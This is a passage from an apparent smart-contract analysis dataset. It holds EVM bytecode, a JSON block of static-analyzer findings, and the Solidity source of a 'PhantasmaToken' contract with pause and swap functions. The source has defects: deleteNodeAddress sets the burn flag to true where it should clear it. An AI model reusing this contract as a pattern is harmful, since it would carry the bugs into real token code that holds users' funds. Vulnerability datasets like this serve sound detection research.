815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fab16565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fab16565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123e68339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610f9f846305f5e10063ffffffff611fba16565b9350610fb38551859063ffffffff611fba16565b600160a060020a03331660009081526008602052604090205490925082901015610fdc57600080fd5b5060005b845181101561116457848181518110610ff557fe5b90602001906020020151600160a060020a03161580159061104a5750600a600086838151811061102157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561108f5750600b600086838151811061106157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109a57600080fd5b6110de84600860008885815181106110ae57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fab16565b600860008784815181106110ee57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061111e57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3600101610fe0565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611f9916565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111b96123d3565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461123f57600080fd5b6000811180156112685750600160a060020a038216600090815260086020526040902054819010155b151561127357600080fd5b600160a060020a03821660009081526008602052604090205461129c908263ffffffff611f9916565b600160a060020a0383166000908152600860205260409020556005546112c8908263ffffffff611f9916565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006113166123d3565b60008311801561133f5750600160a060020a0333166000908152600a602052604090205460ff16155b80156113645750600160a060020a0384166000908152600a602052604090205460ff16155b80156113875750600160a060020a0333166000908152600b602052604090205442115b80156113aa5750600160a060020a0384166000908152600b602052604090205442115b15156113b557600080fd5b6113be84611fe5565b156113d5576113ce848483611fed565b91506113e0565b6113ce848483612250565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156114265750600160a060020a0333166000908152600a602052604090205460ff16155b801561144b5750600160a060020a0384166000908152600a602052604090205460ff16155b801561146e5750600160a060020a0333166000908152600b602052604090205442115b80156114915750600160a060020a0384166000908152600b602052604090205442115b151561149c57600080fd5b6114a584611fe5565b156114bc576114b5848484611fed565b9050610c1a565b6114b5848484612250565b60015460009033600160a060020a039081169116146114e557600080fd5b60008351116114f357600080fd5b5060005b8251811015610e875782818151811061150c57fe5b90602001906020020151600160a060020a0316151561152a57600080fd5b81600a600085848151811061153b57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157957fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114f7565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115f657600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600080600080855111801561163c575083518551145b80156116615750600160a060020a0333166000908152600a602052604090205460ff16155b80156116845750600160a060020a0333166000908152600b602052604090205442115b151561168f57600080fd5b5060009050805b84518110156117e15760008482815181106116ad57fe5b906020019060200201511180156116e157508481815181106116cb57fe5b90602001906020020151600160a060020a031615155b80156117215750600a60008683815181106116f857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117665750600b600086838151811061173857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177157600080fd5b61179b6305f5e10085838151811061178557fe5b906020019060200201519063ffffffff611fba16565b8482815181106117a757fe5b602090810290910101526117d78482815181106117c057fe5b90602001906020020151839063ffffffff611fab16565b9150600101611696565b600160a060020a0333166000908152600860205260409020548290101561180757600080fd5b5060005b84518110156111645761183d84828151811061182357fe5b90602001906020020151600860008885815181106110ae57fe5b6008600087848151811061184d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061187d57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528684815181106118b557fe5b9060200190602002015160405190815260200160405180910390a360010161180b565b6001546000908190819033600160a060020a039081169116146118fa57600080fd5b6000855111801561190c575083518551145b151561191757600080fd5b5060009050805b8451811015611b7d57600084828151811061193557fe5b90602001906020020151118015611969575084818151811061195357fe5b90602001906020020151600160a060020a031615155b80156119a95750600a600086838151811061198057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119ee5750600b60008683815181106119c057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119f957600080fd5b611a0d6305f5e10085838151811061178557fe5b848281518110611a1957fe5b60209081029091010152838181518110611a2f57fe5b9060200190602002015160086000878481518110611a4957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a7857600080fd5b611ad1848281518110611a8757fe5b9060200190602002015160086000888581518110611aa157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611f9916565b60086000878481518110611ae157fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b148482815181106117c057fe5b915033600160a060020a0316858281518110611b2c57fe5b90602001906020020151600160a060020a03166000805160206123e6833981519152868481518110611b5a57fe5b9060200190602002015160405190815260200160405180910390a360010161191e565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611fab16565b60015433600160a060020a03908116911614611bc157600080fd5b600160a060020a0381161515611bd657600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c6b5750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c905750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cb35750600160a060020a0333166000908152600b602052604090205442115b8015611cd65750600160a060020a0385166000908152600b602052604090205442115b1515611ce157600080fd5b611cea85611fe5565b15611f8357600160a060020a03331660009081526008602052604090205484901015611d1557600080fd5b600160a060020a033316600090815260086020526040902054611d3e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d73908563ffffffff611fab16565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dc15780518252601f199092019160209182019101611da2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e52578082015183820152602001611e3a565b50505050905090810190601f168015611e7f5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ea357fe5b826040518082805190602001908083835b60208310611ed35780518252601f199092019160209182019101611eb4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001611f91565b611f8e858585612250565b90505b949350505050565b600082821115611fa557fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fcd57600091506113e0565b50828202828482811515611fdd57fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201557600080fd5b600160a060020a03331660009081526008602052604090205461203e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054612073908563ffffffff611fab16565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561210c5780820151838201526020016120f4565b50505050905090810190601f1680156121395780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561215957600080fd5b6102c65a03f1151561216a57600080fd5b505050826040518082805190602001908083835b6020831061219d5780518252601f19909201916020918201910161217e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227657600080fd5b600160a060020a03331660009081526008602052604090205461229f908463ffffffff611f9916565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122d4908463ffffffff611fab16565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123215780518252601f199092019160209182019101612302565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123e68339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820dc0c70fbc3f8cfdc14a45e81170b66f63cabd79160cb0381b0ea14c69fff851f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,015
0x14eb60f5f270b059b0c788de0ddc51da86f8a06d
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; abstract contract Pausable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(msg.sender); } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract PhantasmaToken is Pausable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping(address => bool) private _burnAddresses; uint256 private _totalSupply; address private _producer; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = 0; _producer = msg.sender; addNodeAddress(msg.sender); } function addNodeAddress(address _address) public { require(msg.sender == _producer); require(!_burnAddresses[msg.sender]); _burnAddresses[_address] = true; } function deleteNodeAddress(address _address) public { require(msg.sender == _producer); require(_burnAddresses[_address]); _burnAddresses[_address] = true; } function transfer(address _to, uint256 _value) public returns (bool success) { require(!paused(), "transfer while paused" ); require(_balances[msg.sender] >= _value); if (_burnAddresses[_to]) { return swapOut(msg.sender, _to, _value); } else { _balances[msg.sender] = _balances[msg.sender].sub(_value); _balances[_to] = _balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!paused(), "transferFrom while paused"); uint256 allowance = _allowances[_from][msg.sender]; require(_balances[_from] >= _value && allowance >= _value); _balances[_to] = _balances[_to].add(_value); _balances[_from] = _balances[_from].sub(_value); if (allowance < MAX_UINT256) { _allowances[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function approve(address _spender, uint256 _value) public returns (bool) { _allowances[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { require(!paused(), "allowance while paused"); return _allowances[_owner][_spender]; } function totalSupply() public view returns (uint256) { return _totalSupply; } function swapInit(address newProducer) public returns (bool success) { require(msg.sender == _producer); _burnAddresses[_producer] = false; _producer = newProducer; _burnAddresses[newProducer] = true; emit SwapInit(msg.sender, newProducer); return true; } function swapIn(address source, address target, uint256 amount) public returns (bool success) { require(!paused(), "swapIn while paused" ); require(msg.sender == _producer); // only called by Spook _totalSupply = _totalSupply.add(amount); _balances[target] = _balances[target].add(amount); emit Transfer(source, target, amount); return true; } function swapOut(address source, address target, uint256 amount) private returns (bool success) { require(msg.sender == source, "sender != source"); require(_balances[source] >= amount); require(_totalSupply >= amount); _totalSupply = _totalSupply.sub(amount); _balances[source] = _balances[source].sub(amount); emit Transfer(source, target, amount); return true; } function pause() public { require(msg.sender == _producer); _pause(); } function unpause() public { require(msg.sender == _producer); _unpause(); } // solhint-disable-next-line no-simple-event-func-name event SwapInit(address indexed _from, address indexed _to); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80636c89ae841161009757806395d89b411161006657806395d89b411461041d578063a9059cbb146104a0578063dd62ed3e14610504578063f78d880e1461057c57610100565b80636c89ae841461031d57806370a08231146103775780638456cb59146103cf57806388d109a7146103d957610100565b806323b872dd116100d357806323b872dd1461024e578063313ce567146102d25780633f4ba83a146102f35780635c975abb146102fd57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806318f833791461020a575b600080fd5b61010d610600565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a2565b60405180821515815260200191505060405180910390f35b6101f4610794565b6040518082815260200191505060405180910390f35b61024c6004803603602081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061079e565b005b6102ba6004803603606081101561026457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108aa565b60405180821515815260200191505060405180910390f35b6102da610c4e565b604051808260ff16815260200191505060405180910390f35b6102fb610c65565b005b610305610cc9565b60405180821515815260200191505060405180910390f35b61035f6004803603602081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cdf565b60405180821515815260200191505060405180910390f35b6103b96004803603602081101561038d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb1565b6040518082815260200191505060405180910390f35b6103d7610efa565b005b61041b600480360360208110156103ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5e565b005b610425611069565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046557808201518184015260208101905061044a565b50505050905090810190601f1680156104925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ec600480360360408110156104b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061110b565b60405180821515815260200191505060405180910390f35b6105666004803603604081101561051a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113d2565b6040518082815260200191505060405180910390f35b6105e86004803603606081101561059257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d4565b60405180821515815260200191505060405180910390f35b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106985780601f1061066d57610100808354040283529160200191610698565b820191906000526020600020905b81548152906001019060200180831161067b57829003601f168201915b5050505050905090565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600754905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f857600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561084f57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006108b4610cc9565b15610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f7472616e7366657246726f6d207768696c65207061757365640000000000000081525060200191505060405180910390fd5b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f75750828110155b610a0057600080fd5b610a5283600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cb90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae783600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610bdd5782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000600360009054906101000a900460ff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cbf57600080fd5b610cc761179d565b565b60008060009054906101000a900460ff16905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d3b57600080fd5b600060066000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f75b91fa1da1a0b134e88d33dcd1b8db5e9d7147fc6307e747c914d505d4b2a8760405160405180910390a360019050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f5457600080fd5b610f5c611886565b565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fb857600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661100e57600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111015780601f106110d657610100808354040283529160200191611101565b820191906000526020600020905b8154815290600101906020018083116110e457829003601f168201915b5050505050905090565b6000611115610cc9565b15611188576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f7472616e73666572207768696c6520706175736564000000000000000000000081525060200191505060405180910390fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111d457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561123857611231338484611970565b90506113cc565b61128a82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60006113dc610cc9565b1561144f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f616c6c6f77616e6365207768696c65207061757365640000000000000000000081525060200191505060405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006114de610cc9565b15611551576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f73776170496e207768696c65207061757365640000000000000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115ab57600080fd5b6115c0826007546116cb90919063ffffffff16565b60078190555061161882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cb90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015611749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061179583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b8e565b905092915050565b60008054906101000a900460ff1661181d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008054906101000a900460ff1615611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60016000806101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081